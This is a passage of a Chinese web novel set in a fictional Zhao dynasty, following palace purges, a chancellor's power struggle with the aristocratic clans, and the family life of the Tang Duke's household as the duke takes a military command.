如今嘛,马小莲已经在皇家寺庙里修行了。 沈氏提一提,那是牵扯上另外的事情。 “嫂嫂,皇族那一边给妹妹递了消息。他们想暗暗联络了国公府。”沈氏讲道。 这不,这才是要紧的地方。 唐国公府想是也要卷入了旋涡之中。宋国舅拉着小天子和宋太后的招牌,那要叫皇族宗室们斗法。 这里面世家世族可是也掺合了的。 瞧着燕京都里,如今跟一锅的沸水没两样。总归要煮了一些落锅里的人嚼掉。 第109章 正统元年,皇宫一场宫变。这一场宫变染了太多血。 大赵朝,燕京都,皇宫,凤仪宫。 宋太后听着下面人的禀报,不以为意。只道:“杀之绝后患,哀家不怕造恶业。 ” 对于宫廷清洗,宋太后的意见跟亲哥宋国舅一样,那就是一个杀字。 杀的那些敢背叛者,那是杀之绝后患。 至于里面有没有无辜之辈?在宋太后等高高在上的贵人眼中。 不可能有无辜之辈。毕竟这等谋逆之人,诛九族都不无辜。 宫廷内苑,一时萧条。 人人肃穆,不敢多言。至于大崔氏、小崔氏,她二人已经被罚入狱。如今不过是挨日子。 等哪一日被上意安排了下场。如今嘛,还能活着。 也不过是有人想撬开她们的嘴巴,拿到了更多的名单。 可这一份活着,真不死去。 因为活着,也可能活得生不如死。 大崔氏在哀哀凄惨的唤了三天后,她咽了最后一口气。 小崔氏在姐姐死后,也同样于一个黑夜里咽了气。 似大小崔氏这般的宫人,一旦没了,也不必上报。 不过是一把灰灰的事情。 宫廷内苑,这样的人命官司太多了。皇家眼中,尽为柴薪。 满天下随处可拾取,烧了便是烧了,当了一把火的事情。 人命如草芥,上位者的眼中,皆如是。 大赵朝,燕京都,内城,唐国公府。 万珍珠在坐月子,可她还知道外面的消息。 因为听着风雨,还是刮得越来越大。 万珍珠不能不关注,她真怕自家沾着台风尾。 这一日,赵济世疲惫回府。 在书房里,赵济世又跟幕僚商议一二。尔后,再是吩咐一番事宜。 在前院,赵济世沐浴一番,换一身衣裳。整个人洗去了在衙门里的劳累神色。 回府后,赵济世这一番收拾了,他去瞧过长子赵绥。 领长子回后宅,又去给岳母问安。 在岳母那儿,赵济世陪着一道用饭。 待用好饭。陪着岳母说说话,让牛二囡这一位老人是享受了一把天伦之乐。 “我老了,就爱歇得早。济世,你去瞧瞧珍珠吧,也瞧瞧安福。他们母子那儿,也定是盼着你。” 牛二囡催一催女婿。 这会儿她不多留了女婿。也是让女儿多跟女婿说说话。 赵济世这儿不拒绝。 对于好大孙,牛二囡就要挽留一二。她可关心了一番好大孙。 当然,赵绥也一样的态度,亲近了姥姥。 多陪姥姥说说话,逗一逗长辈开心。尔后,再是陪了亲爹去亲娘住的院子。 见了亲娘,见过弟弟安福。赵绥享受一番亲情。 对于弟弟,这几日瞧着,那确实长开。没之前的丑。 赵绥的心底也是舒服一些。他想着,总算不必担忧弟弟丑,那是让弟弟自卑了。 “弟弟越来越好看,真俊。”赵绥有话讲话。 这不,这孩子实诚的夸一回弟弟。 这话一出,赵济世、万珍珠这一对夫妻哈哈大笑一回。 笑声里,尽是开心。 一家人说说笑笑,好不快活。当然了,这般时间过得也挺快。 赵绥明日还有功课,于是万珍珠也不能久留了长子。 赵绥跟爹娘告别,依依不舍的回了前院去。 至于弟弟? 弟弟又不会讲话,赵绥没什么不舍得。 当好哥哥,也得待弟弟会说话后,赵绥才能多行使了哥哥的美意嘛。 瞧着长子离开,万珍珠感慨,道:“安康一天一个模样,长得真快。恍然之间,他已经是一个半大的孩子。” “再过些年,也是到了立志的年纪。”万珍珠真心感慨。 “倒是如此。”赵济世赞同。 在心底,赵济世是巴不得长子快快长大,也是替父分忧。 “珍珠妹妹,我替安福取了大名。”赵济世此时执了妻子的手。 赵济世在万珍珠的手上一笔一画的写了一字。 “纶,满腹经纶的纶。盼安福将来求得学问,做一个有学问的人。” 赵济世笑道。 “不管哪一个世道,平平安安,健康长大,想享了幸福的人生,总归得有学问。有学问的人,才不容易被人蒙骗了。”赵济世说了自己的人生感悟。 “这名字好,赵纶。” 万珍珠赞一回。 甭管如何,这是孩子亲爹用心想的好名字。 万珍珠只有夸一夸的道理。 毕竟这是当爹的期许与美意。万珍珠的眼中,安福叫这一个名字,尽是叫得。他家的孩子,将来必是有学问之辈。 “只光做学问不成,还得有一个好身板。将来安福得跟他哥哥安康一样,也是文武双全。” 万珍珠说了自己的期许。 人生漫漫,光有学问,没一幅好身板,那不成的。 人嘛,身体是革命的本钱。一幅好身板比什么都强。 “自是如此。国公府以武立基。小辈可不能落了根基之处。” 赵济世很是赞同了妻子的态度。 夫妻二人,那是一处心思。想法尽是一样的。 这会儿的赵济世逗一逗小儿子安福。尔后,又是挥挥手,挥退了侍候的丫鬟仆妇。 屋中,剩下一家三口。 至于安康?他一个奶娃娃,尽是什么都不懂得。 “妹妹可知,近日的燕京都不太平,不止燕京都。天下皇族宗室,这一回遭大罪了。怕是去了十有五六。” 赵济世跟妻子讲道。 “嘶。”万珍珠倒抽一口凉气。 宗室去泰半,这是什么概念? “如何办得到?不可能吧。”万珍珠不敢相信。 “事情没成前,我也不敢相信。堂堂皇族宗室简直跟纸糊的一样。”赵济世的心里也是一样不敢相信。 当初承顺帝在位时,皇族宗室可是压着世家世族。 要不然的话,承顺帝想亲征?哪是容易的。 “这一回,瞧着主宰之人是宰相大人。实则,世家世族在动手。”赵济世讲了大实话。 赵济世在万珍珠的跟前,那是念了一串的名字。 不止名字,还有这些人的官职与背景。 这些,赵济世记得可太熟了。他可是琢磨了太久。 万珍珠一听,那是越听越耳熟。 “大赵世家,尽皆下场。皇家宗亲,败的不冤枉啊。”万珍珠不用觉得熟悉了,因为这些名字,她都是疏通过关系的。 世家世族,盘根错节。如今的万珍珠更清晰认知了。 “往前,只道皇族势大。如今瞧来,世家更为可怕。”万珍珠感慨一番。 “是啊,莫道先帝登基时,有世家世族倒霉。哪怕宰相上位时,也有世家世族被诛了族。可又如何?”赵济世轻轻摇头。 “这天下,总归是世家与皇权共治。天子,垂拱罢了。国舅,如今威风赫赫,只不知这威风能有几何?” 赵济世对于这一回冒出来的各家黑手,他真被吓唬一回。 不为旁的,只因为他一直在坑边看戏。或者说早早的插了队。 赵济世就想摸一摸潜流下的底。 这不,一摸就吓着。 “还是北地好。”万珍珠感慨一回。 “确实是北地好。”赵济世同意了妻子的看法。 夫妻二人这会儿太有默契了。 “当初,我若非生于北地,只怕不能起于行武之中。”赵济世感慨一回。 虽然赵济世的起势,那是沾了先帝的光。 可爬到当年的齐王世子李明弘的跟前办事前。 赵济世只是游侠儿。 而游侠儿能出头的地方,在赵北,除了胡人与中原人杂居的北地。 越往南,越是没了黎庶贫寒之辈的出头日。 北地,当初是真没世家世族。 一则是真的贫寒,二则是边疆之地嘛,那不太平。 说是大兵出动,说是胡人来袭,那真可能死人,一死一大把。 世家立不足根基,那真是胡人的威胁。 可大赵的疆域,越往南,大赵的根在世家世族。 如此,世家世族自然是揽了朝廷的势,肥了自家的庄园。 “宗室之中,贬为庶人者。这一回,有人想把除族的庶人流于北疆去。” 赵济世又提一事。 “好事。”万珍珠感慨一回。 “……”赵济世准备听一听妻子的高见。 “这些人未必不恨,只不敢恨。他们跟皇族与世族,都沾血仇了。”万珍珠实话实说。 “北地可不是什么良善地。多吃一些北地风霜,再想一想往日的好日子。”万珍珠心头都知道那感觉。 越是无力如今,越是憎恶往昔。 特别是血仇,一旦结下,那是很难化解的。 “一朝贬为凡尘泥,方知世间幸福难。”万珍珠呢喃一回。 “济世哥哥,这些人真吃过苦头,大苦头。能留下来的,也可用一用。” 万珍珠指一指宰相府的方向。 “那儿,我们总得思了退路。”万珍珠对于宰相大人的胆大。 她真害怕。这一位是真敢干啊。 当然,宰相大人背后的那些人,万珍珠也是吐槽一回。 他们敢想敢拼,堂堂宰相都成棋子,也是胆大包天。 “如是,可行。”赵济世是赞同的。 “往后,燕京都不会太平。宫里,怕有反扑。宦官们,可不是吃素的。” 赵济世感慨一回。 “是啊,太后娘娘跟前,可是围绕了不少人。”万珍珠也听着一些风声的。 宋太后跟前的大太监们,如今也是抖威风了。 第110章 万珍珠出了月子,她家的小儿子赵纶的满月宴时。 总算是结束了坐月子里的难熬日子,万珍珠可是放肆一回。 那等沐浴,都是连着沐浴三趟。 不止如此,还是仔细的梳妆打扮。可谓是把坐月子里的亏欠,那是尽数的补回来。 满堂宾客,在这等日子里,自然是各奉礼物来贺。 唐国公府,一时宾堂满座,往来尽皆豪富。 不,应该说不止豪富,更是满目朱紫色,尽皆燕京都的名门与勋贵。 在这等日子里,万珍珠的耳边也听着的尽是好话。 入目之时,全是好人。 当然这好人嘛,那是对着唐国公这一块招牌。 这一点,万珍珠清楚着。 不止万珍珠清楚,只要脑子还清醒的,没飘了的人,那都会清楚的知道。 在燕京都里,人人都是几幅面孔。一幅善,一幅恶,更可能是灰色的脸庞,不善不恶,纯粹利益为先。 “小侄儿真俊。”沈氏这会儿在万珍珠跟前夸了赵纶。 万珍珠笑得开心,说道:“这孩子跟他兄长一个模样,都是俊儿郎。” 这时候的万珍珠很开心。毕竟今日满堂宾客,皆入祝贺。 一派喧嚣时,入目繁华眼。 只这一场满月宴后。 万珍珠在瞧着一月的帐目时,又知道下面传回来的消息。 这不,新消息一纳总。 晚间,万珍珠跟枕边人商量一回。 夫妻二人独处,这时候的万珍珠说了一些自己知道的事情。 “南边又出事儿。这是第五桩案子,又跟宦官们有干系。” 万珍珠在夫君跟前,扳着指头一一数一回。 “前面的人命官司,还数着小打小闹。后头的两桩,都是灭了满门。太血腥了。”万珍珠感慨一回。 这世道里,高门大户的日子瞧着风光。可这里面的风险吗? 那只能说看本事。 没本事还入了俗世的斗争兽场,一旦输了,只能怨本事太少。 “偏生这两家在宫廷里,关系还在。俱是太后娘娘跟前的得脸人。” 万珍珠吐了两个太监的名字,这二位不止在太后跟前得脸。 便是小皇帝正统帝的跟前,也是有三分体面的。 “两位掌事太监,太后跟前的红火,也是照顾过天子的旧人。唉。”赵济世一声叹息。 “妹妹可知,朝堂上,这二位掌事太监还被参了。” 赵济世的目光里,倒是有一些玩味之色。 “那些参奏本的人,表面上是宰相大人的棋子。实际嘛,幕后还有人。”赵济世的嘴里又吐了几个名字。 万珍珠一听,眉头一皱,讲道:“世家大族,心眼坏了。” “莫不成他们真准备让燕京都又起血雨腥风?”万珍珠问了枕边人。 “宰相大人一揽大权,如今一言九鼎。这宰相的滋味太美妙。世家世族想分权,宰相大人不乐意退几步啊。” 赵济世实话实说。 在权柄面前,曾经的合作,就只是合作。或者说不过是过眼云烟。 如今嘛,宰相大人宋国舅跟燕京都的世家大族的合作是走到头。 两方各有盘算。 “我瞧着,宰相大人想一揽众山小,不乐意让人多嘴质疑。至于世家大族?” 赵济世沉默片刻后,又道:“许是几人想称摸一摸相权,又有好事者,更想打落皇权的权威,任世家世族鱼肉。” “俱是野心之辈。”万珍珠说了大实话。 “哈哈哈……”赵济世大笑一回。 “妹妹说得对,我啊,也是野心之辈里的一人。”赵济世揽了妻子入怀。 “珍珠妹妹,可怕?”赵济世问道。 “不怕。”万珍珠揽了丈夫的腰,她把头搁在对方的怀中。 “你若是野心之辈,我便是拿了全幅身家与你一起搏了前程。” 万珍珠肯定的回道。 “夫妻一体,我们是一心一意的。”万珍珠的态度不会更改。 赌了人家,嫁与眼前人。如今夫妻二人儿子都生了两个。 前程荣辱,俱是一体。 万珍珠不可能放手的。或者说哪怕前面是刀山火海,她也要陪着他一起闯一闯的。 “好,我家就闯一闯。如今的国公府家业,总归不够完美。” 赵济世的心底,也是横着一根刺在哪儿。 世家世族的力量,瞧着聚一起真吓人。 还有便是皇家宗亲被打落下来,那空缺出来的位置太多了。 赵济世当然咬了一口。 可那不够。越是站了高位,越是明白。 心不狠,站不稳。 下面太多人想掀了台子,上面人嘛,又不想被踩落下去。 如赵济世如今的位置,他看到的更多。那便是如今的太平日子? 真就能得了太平?不,赵济世不相信。 因为这世道里,世家世族拿得太多。普通黎庶的日子太苦了。 稍稍一点天灾人祸,黎庶没饭吃的。到时候的日子,苦,苦不堪言。 要么,在人祸里没活路。要么,就是投了世家世族做隐户。 隐户多了,世家世族的力量更大。朝廷能征得的赋税更少。 可朝廷的摊子摆这,不可能不开张。 朝廷没了,皇族怎么办?官吏怎么办?将士怎么办? 朝廷的花销减不了,普通能纳赋税的民户越来越少。 隐户越多,世族越强。朝廷越弱。 民户需要纳的赋税不减,能纳赋税的人口减少。 那么,民户的纳赋税压力越来越大。 这就像是一个恶性的循环。一直到,朝廷的摊子开张不下去。 又是一场重启局。 推倒,重来。一场乱世,一个新皇朝。 青史之上,历历目目,不外如是。 在万珍珠替小儿子赵纶过了百日宴后。她又得着新的消息。 还是从夫君赵济世的口中知道的。 “宫中之人,也给宰相大人送了重礼。瞧着皇太后之意,准备缓和了宫廷与宰相府的矛盾。” 赵济世讲了讲最近朝堂上发生的一些事情。 “东风压西风,总要倒一面的。”万珍珠神色淡然。 “只太后一厢情愿。怕是宰相大人,未必乐意啊。” 万珍珠说了自己的看法。 关于燕京都发生的事情,那就是没有新鲜事。 不外乎又是谁送礼,谁走了门路,谁想升官发财。 人活世间,功名利禄,奔着前程求的不过如此。 “夫君,一旦宰相大人目空一切,我担忧,燕京都真的一场血雨腥风,避免不得。” 万珍珠说了大实话。 “……”赵济世沉默了。 “我谋了新的职差。如今已见眉目。”赵济世讲道。 “我准备退一步,去承天府的大营当差。上任三十六营的左帅。” 赵济世感慨一回。 万珍珠听出了枕边人的无奈。 “又有人让济世哥哥站队了?”万珍珠问道。 “是啊,我不想站队,偏生世道为难。”赵济世不想站队。 如此,他才退一步,离了燕京都。 “只我离开,让妹妹辛苦了。”赵济世执起妻子的手,心有不舍。 “职差要紧。”万珍珠知道的。三十六营,可是承天府数目最大的兵马。 也是整个燕京都的外围守护圈。至于燕京都的守卫禁军。 禁军的数目,在三十六营跟前,那就是一个尾数。 禁军的目的,那是守了京都,守了皇宫。 可三十六营又不同。他们就是守了承天府。 防的是边镇,防的是世家世族。 三十六营才是大赵朝的正规军队。左帅,头领。 能揽了三十六营的兵权,万珍珠只想想,那就知道里面花了多少功夫。 当然,这里面走关系,万珍珠消耗的钱财尽是自知的。 可那些付出,或者说钱财只是微不足道的一点筹码。 更多的还是唐国公府给了许多的暗中筹码。 有些事情,大家伙彼此相互取暖罢了。 “我不在,府上要妹妹看顾。”赵济世也不想去三十六营。 如果可以,赵济世也要守护了妻儿。 可天天蹲家里,真是不干大事。那不可能的。 离家嘛,也是因为事业的需要。 赵济世能做的就是求了风暴来时,他有力量守护自家。 力量,唯兵权尔。 这是赵济世的认知。他只认力量大小。此,乃赵济世的人生信条。 或者着说从小到大,赵济世入目的便是力量的比拼。 他信这一套。 夏末过去,秋又来了。 在万珍珠关注着大儿子赵绥的五岁生辰时。 有些消息也是入了她的耳朵。 “殿下,您瞧瞧,承天府周边诸郡,有些调度不合常理。” 万嬷嬷替自家主子盘帐时,还是圈出来一些异样的地方。 万珍珠拿过帐目,仔细的瞧了一回。 越是瞧一瞧,万珍珠的眉头皱头越紧。她问道:“嬷嬷,下面可有消息禀报上来?” “有。”万嬷嬷赶紧讲了近月的消息。 万珍珠仔细在脑海里一一划线对比。良久后,也道:“起风了。” 想到此,万珍珠准备给在三十六营的夫君写一封家书。 有些事情,总应该让当家人知道的。哪怕这当家人在承天府的大营之中。 在心头,万珍珠也是感慨一番。 这会儿的万珍珠跟万嬷嬷交待一番。 “殿下,真至如此吗?”万嬷嬷的神情复杂。 “防患一二吧。”万珍珠的心头也没底。 只能说凭着这几日的见闻。万珍珠很担忧的。 宦官集团的日子越来越难了。 宰相大人的动作太刚猛,不给人活路了。 兔子急了还蹬鹰,何况宦官可不止某一人。 这一个团体在很多时候,那更是代表了皇权。 宦官,不过是跟皇权一体两面罢了。 宰相大人究竟防着谁呢?这不好说啊。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 110-120 第111章 全公公是承顺帝的心腹,一辈子侍候先帝,也得先帝重用。 哪怕先帝驾崩了,在宋太后跟前也是体面人。 特别是正统帝,这一位新天子也是信任全公公。 一直让全公公当了门面。 全公公自认为他是一个本份人,一心一意盼着天子好,盼着天家好。 当然了,对于宋国舅嘛,全公公心底的看法可能跟宋太后的看法有些不一样。 宋国舅的做法太张扬了。全公公觉得这一位国舅的心大了。 真不是全公公诬蔑,而是宋国舅打压皇族宗室的做法,那实在的损了皇权的根基。 莫看宗室里有不安份的,可宗室的存在本身就是维护了皇权。 独木难支,只是一个小天子,还是任权臣宰割。 可宗室势众时,那不同的。 权臣想一言即决天下事,那宗室也不是吃干饭的。 奈何如今的宗室凋零了。 “陛下。”全公公低了头,此刻回着正统帝的问道。 “宰相大人一人之下,万人之上,如今权衡朝堂。宰相大人不可辱。一些人犯事,让宰相大人心烦,乃是罪人之错,大错特错。” 全公公这会儿可不敢说宰相宋国舅的坏话。 至少不能让人抓着把柄。要知道,宋太后相信自己的哥哥。 “但是……” 全公公的但是二字一出,那又语气不同。 “宰相大人威望太重,下面的奴婢担忧,也不是空穴来风。” 全公公小心谨慎的回道:“奴婢抖胆,也替下面人说一句公道话。他们也难。” “陛下,您是不知道。如今内库的年收入不足先帝时的三成。” 全公公这话一出,正统帝的神色变了。 莫看小皇帝年岁小,可这内库是他的私库。 内库收入少了,那就意味着皇帝的私房钱少了。 “谁敢偷朕的钱?”正统帝怒了。 小皇帝的神色阴沉,那冷的,真的是怒极了。 “陛下,偷您钱的太多。下面人哪一个都得罪不起。” 全公公借着今个的时候,把一些事情也摊开来。 也免得将来出祸事,还让宫廷里的自己人背锅。 这不,先推了背锅的出来。 正统帝这会儿很上心,他很在意自己的钱。 小小年纪的正统帝,那不是瞎子聋子。有些事情帝王做久了,或者说在皇家久了,那也懂得一些道理。 正统帝太知道了,朝廷缺钱,那意味着什么。 或者说着,小皇帝上朝就是摆着的牌位。那又如何? 小皇帝应该瞧懂的一些事情,那还是瞧懂了。 或者说承顺帝留下来的人,那安插在正统帝跟前侍候的。 那真有人才。 泰一宫里。 正统帝听了全大伴的坦言。小皇帝听完了一番话,那是拳头握紧。 此时此刻,帝王觉得他这皇帝做的憋屈。 “舅舅,他究竟想要干什么?”正统帝忍不住问一句。 不怪正统帝也是置疑了宋国舅的立场。实在是宋舅连打带削,那干掉的全是围在皇权身边的人物。 甭管是宗室里倒台的那些人,那明面上,这些人全是一直支撑着大赵皇室的一批人。 如今剩下来的小猫三两只,全是不得力的。 如今的宗室,就只能当一当气氛组,没实力了。 世家世族里嘛,如今剩下来的全是围着国舅爷转。 至于当初的,那些跟正统帝这一边攀了关系。 或者说东宫这一系的人脉。 如今嘛,不攀着国舅爷高枝的,不向宋太后献媚的。 那在几拔的清洗里,也是清洗干净了。 宋国舅下的狠手,可不一点不手软。 当然,唐国公府嘛,也是下手的一员。或者说燕京都的权利斗兽场便是这样。 不坐餐桌前,就在餐桌上。 不当食客,就是猎物。总而言之,这里没什么人是干净的。 因为干净的,那只能成为被吃的食物。 “陛下,请您一定要孝顺了太后娘娘。太后娘娘那儿想必能安抚了宰相大爷这一位国舅爷。” 全公公的态度还是一如既往。 总而言之,让全公公正面去对上宋国舅,全公公真不是敢。 凭的便是宋太后的态度。 宋太后信她的亲兄长宋国舅。宫廷内苑的宫人们想斗,那真的斗不赢。 “母后……”正统帝的神情这一刻变得复杂了。 “母后真的心疼朕吗?若是心疼朕,如何让舅舅把内库的收入尽数搬去了宋家。” 正统帝在听了全公公的算帐后。 在正统帝的心 里,那是留了印象来。少了几成收入。 要么因为正统帝的收拾,下面人的势力大损。 如今收不上来了。 说白了,没那份实力,那财富就是流转了。 还有一部分原因。则是宦官被打压了。属于宦官的势力不行。 那么世家世族的势力就会扩容。于是一些利益自然被投靠了宋国舅的人给占了。 天子这儿有如今的收入,那也是宫廷里的下面人在力保。 毕竟宋太后对于娘家很大方的。许多的好处,那是直接许给了娘家的亲人。 宋家得了好处,挖了皇家的墙角。这不,正统帝的财源又受了一大块的损失。 “陛下,您是太后娘娘的亲子。若您彩衣娱亲,再跟太后娘娘哭述一二……” 全公公又小心的提了一二建议。 正统帝沉默片刻,还是点点头。小小的天子,他也有自己的烦恼。 正统元年。 三十六营里,赵济世结束今日的巡营,回了住处歇息。 府上来信,赵济世一收到,便是细细阅读。 这一读,又是读了几分风雨将来的味道。 “谁会赢?” “应该说,谁是输家。”赵济世无声自语。 对于赵济世而言,赢家不赢家的,这有一些重要。 可不能站输家这一边,那就很重要。 站了输家这一头,那可能会输得惨不忍睹。 至于不站立场?那更不可能。 因为没有立场的墙头草,在风暴来时,更容易当了典型。 赵济世如今的身份,他得有立场。 想到这些时,赵济世提笔给府上写了回信。 正统元年,冬。 一场雪后。万珍珠陪着亲娘赏雪。 不,更准备的说法是万珍珠陪着亲娘一起做了冬日的雪酿。 “想什么?”牛二囡瞧着女儿走神,关切的问一回。 “想一些小事。”万珍珠笑道:“无大碍,娘,我们还是商量一二节庆的事情吧。” “济世哥哥可写了家书,到时候要回府休沐。” 万珍珠笑道。 “那得仔细准备,女婿也是难得回府一回。” 牛二囡的目光落在女儿身上。 “你们夫妻聚少离多,娘也是盼着你们夫妻感情好。所以,这女婿回府一事,总得多重视。” 牛二囡很在意的说道。 “娘说的在理。济世哥哥在府上的日子少。安康安福,他们兄弟也是念着爹爹的。” 万珍珠提了两个孩子。 “安康年岁大了,这孩子学业好。女婿安排的先生好。” 牛二囡笑道:“只安福,如今还是吃奶的娃。” “安福一天一天长大,一番年,又是长一岁。”万珍珠笑道。 母女二人提着孩子事,这一提,此时屋时传来“哇哇”声。 原是睡着的安福醒了。 万珍珠亲去哄一哄孩子,这不,哄一哄,抱到外屋里。 牛二囡瞧着小孙子,心情很不错的。 这会儿牛二囡只有一感慨,也是一种遗憾。 牛二囡就是遗憾了夫君万忠良去的太早。 若是夫君能瞧着如今的两个孙子,那就是一桩最好的事情。 在万珍珠哄了小儿子时,丫鬟来报信。 万珍珠这会儿是收到夫君的家书。对此,她很在意的。 一封家书,几许关心。 赵济世的家书里,更多的是关心了家人们。 那当然,也是再讲一讲他会回府休沐一事。 当然,更是提前给枕边人招呼一声。还要给义弟们的府上递消息。 到时候请义弟与弟妹、小侄子小侄女们来府上聚一聚。 常常走动,更显热闹与亲情嘛。 待节庆时,赵济世归府。唐国公府很热闹,一时气氛好。 大赵朝,宫廷内苑。 凤仪宫里,宋太后的心情很不好。 或者说不是如今才心情不好。而是很早前,便是如此。 因为正统帝在母后跟前,也是哭过两场。 皇帝儿子私下向亲娘哭一回。虽是偷偷的,可宋太后还是心疼亲儿子的。 奈何亲儿子不说,为了什么? 可亲儿子跟前会给宋太后讲小话。免不得宋太后跟前侍候的嬷嬷宫女们,那也是递一些小话。 一两句时,宋太后不爱听。 等着时间一久,日子一常。宋太后一副琢磨着。 宋太后还真是琢磨出来一些事情。 这不,等着娘家人再进宫,再向宋太后请安时。 宋太后总会多瞧几眼。她在打量了嫂嫂与侄女们。 免不得又提了侄儿的事情。 在嫂嫂嘴里,侄儿万好。可宋太后听过下面人的禀报。 她那侄儿可是了不得。 如今世家世族的贵女,也是进了宰相府做妾。 就这,在嫂嫂的嘴里,也是不值得一提的小事。 这倒罢,那些世家世族向宋府献媚。可这投孝的银钱,那是挖了内库的墙角。 亲儿子的肉,那是贴到娘家身上。宋太后往常不在意。 可如今呢? 宫廷内苑,花销太多。如今内库紧张了。 下面人的汇报,皇帝儿子的哀哭。还要朝堂上,宋太后瞧着亲哥哥的跋扈。 宋太后又想到了,嬷嬷提的几段青史旧事。 外戚夺权,谋朝篡位。 这八字,那很沉的。宋太后曾经不会想,如今嘛,有些会想了。 谁让宋国舅一直在挖天家的根基。 谁让宋太后是当朝太后,她的儿子是皇帝啊。 娘家再亲,那也不能威胁了儿子的皇位。 第112章 正统帝在位,对于宋氏一族是好事。至少在宋太后眼中,她于娘家,尽是恩惠。 大赵朝,燕京都,内城,唐国公府。 万珍珠近日参加了几场聚会,也听着些许的风声。 于是回府后,她更在意了府里的护卫问题。 不为旁的,只因着下面人递上来的消息里,也是有一些的端倪。 “瞧着风起,只不知,又有几人跌足,又有几人登高。”万珍珠呢喃一回。 “嬷嬷,差人把京郊外的庄子打扫一番。府上一家子人准备去庄子上小住几日。” 万珍珠吩咐一回。 “唯。”万嬷嬷应下话。 关于去庄子上小住。这事情万珍珠跟枕边人赵济世写家书谈过。 对此,赵济世尽数赞同了。 说是京郊外的庄子,可离着燕京都还是颇有距离。 不止如此,那庄子修的还是颇安全。 说是庄子的,更像坞堡。 一切嘛,归根结论就为了一个安全。 万珍珠准备去庄子上小住,自然也是给诸弟妹们递了消息。 不外乎邀请弟妹们也去庄子上散散心。对此,沈氏等诸位弟妹并不拒绝。 只出行之日,不尽相同罢了。 燕京都的唐国公府,那自然按着规制建造。 唐国公府的氛围跟庄子上是不同的。 到了庄子上,本应读书习武的赵绥,小儿郎一时间也是爱上了庄子上的时光。 在庄子上,教学先生没随来。 赵绥是跟庄子上的童子们一起进学。一时间,多了一群年岁相当的同学。 赵绥可高兴了。 午饭后。 牛二囡跟女儿逗一逗小孙子安福。同时,牛二囡还提了大孙子的事情。 “瞧瞧,孩子还喜欢跟同年的玩伴一起玩。安康来庄子上,一来,他可欢喜了。” 牛二囡对于大孙子的心情如何? 不需要旁的,只瞧两眼,她就知是真欢喜,还是不开心。 “小孩儿的玩心也重。”万珍珠笑道:“好在,我们家的安康倒是一个好学的。” 对于长子,万珍珠没有一处不满意的。至于是不是亲娘的滤镜,万珍珠没觉得是滤镜。 将心比心,在自家大儿子这年岁,万珍珠还是一个纯小孩时。 那会儿万珍珠可是巴不得天天玩耍。 学习? 那是什么玩意儿,那能吃吗? 庄子上的赵绥可不知道姥姥和亲娘表扬了他。 在庄子上,赵绥的玩伴多。 这些玩伴与他年岁相当,他真的欢喜着。 与同伴们一起读书,彼此进步。与同伴们一起习武,彼此锻炼。 哪怕比划一二,赵绥也开心。许是那一种热闹,属于同伴之间的玩闹,让赵绥觉得庄子上的天更蓝了。 在庄子上的赵绥是乐不思蜀。 当然,开心归开心,需要给亲爹写家书时。赵绥还是一五一十的在家书里跟亲爹分享一二他的开心事。 三十六营。 赵济世来这当左帅,凭着这些年的经营,如今在三十六营是站得稳稳的。 也如此,关于承天府的一些动向,赵济世盯得更紧。 “这小子……”赵济世轻轻摇头,脸上尽是笑意。 许是承天府还有一些大小事,那可能让赵济世烦恼。 可人活着嘛,总归是问题堆问题。 人活着,就没有千依百顺的道理。 可一瞧着家书,瞧着家人们的述叨与关心时。 赵济世又是心安。 心安时,又有大志。总想着给儿孙挣得万般多的家业。 “哈哈哈……”赵济世开心的笑一回。 家书能让赵济世真正的开心。 可家人之外的事情,赵济世却是知晓的,千人千面,万事万法。 赵济世做不能随性人,还得在红尘里的锻炼。 “来人。”这会儿的赵济世唤来心腹。 这时候的赵济世决心已下,他得给一些人写信。 这些信,不重要。 重要的是赵济世的态度得摆出来,立场嘛,那得先站着。 明明说是起风了。可风,似乎又吹一吹,又过了。 正统三年,又是一年春。 这一年,赵绥会吃八岁的生辰饭。这一年的赵绥是真正的半大小子。 八岁,在这一个世道得知事了。 春,明明好时光。赵绥才从京郊外的自家庄子归来。 不外旁的。只亲爹娘把他丢庄子上,也跟庄子上的同学们一样的亲自农耕。 一归府。 赵绥先去姥姥那儿,先去给姥姥请安。 在姥姥处,也见着弟弟赵纶。 “哥哥。”赵纶会唤人,瞧着,一张小嘴唤亲哥时,唤得甜甜蜜蜜。 “弟弟。”赵绥笑道:“给,哥哥的礼物。” 赵绥递上了自己给弟弟带回来的礼物。各种草编的小动物。 不止有赵绥的心意,也有庄子上的同学们的心意。 见着哥哥的礼物,赵纶可开心了。 这会儿赵绥牵着弟弟的手,他先给姥姥问安。 “姥姥,可想了孙儿?”赵绥笑问道。 “你个猴儿,不过去庄子上住几日。这不,又见着了。”牛二囡笑了。 “不见时,倒真想。” 听着姥姥的话,赵绥问道:“莫不成见了,姥姥又不念了孙儿?” “你啊,小猴儿一个,沾了毛贼精的。”牛二囡伸手虚点一下大孙子。 一家人家说说笑笑,牛二囡的心情可好了。 这会儿的赵绥逗一逗弟弟,陪着姥姥说说话。 直到丫鬟来禀话,说主母归来。 赵绥一听亲娘归来,忙准备去迎一迎亲娘。 瞧着大孙子的热乎劲儿,牛二囡不阻拦。 这会儿的牛二囡留了小孙儿在跟前。只吩咐一回,天晚时,让赵绥母子来院子里用饭。 赵绥尽应了。 赵绥去了正院,给亲娘问安。 万珍珠见着大儿子,也是问一问儿子在庄子上的生活如何? “往昔吃了粮食,只道粮食无趣味。还是肉食更香。真亲自农耕,在田间做活几日,方知粒粒粮食,尽是来之不易。” 这是赵绥的真心话。 人教人,不一定会。 只自己亲自实践了,事教人,一定会。 赵绥读书里,只知农人苦。可苦在哪儿? 等着自己亲自农耕,又知道农耕的农人哪怕是四海无闲田,犹可能在灾年被饿死。 哪怕不是灾年,遇着人祸,一样可能被饿死。 至于卖儿卖女卖妻什么的? 那也是黎庶的苦事罢了。 只能说在唐国公府时,入眼所见,尽是繁华。 等着去自家庄子时,也觉得一切不过盛世太平。 等着与同学们一道游学一番后,见识了承天府外,那更穷的山村是何等景象后。 赵绥小小年纪,那也是大受震撼。 只能说见识了生活的苦,如今的赵绥才知道自己的日子是蜜罐子里一般的甜。 于是想护了自家的一切,不想落一个虎父犬子的称号。 赵绥更想努力。 赵绥哪怕年少,他也想替亲爹多忧的。 至于亲娘嘛,赵绥更想当将让亲娘安享富贵。 那什么操劳之事,凭何的,那都不应该是爹娘要过的日子。 享福嘛,那才是人生的好标准。 春,赵纶的生辰刚过。 唐国公府的二公子过生辰,不过小儿,自然没有大操大办。 不过是当日一家人吃一回团圆饭。当然了,做为主角的赵纶得了爹娘的生辰礼。 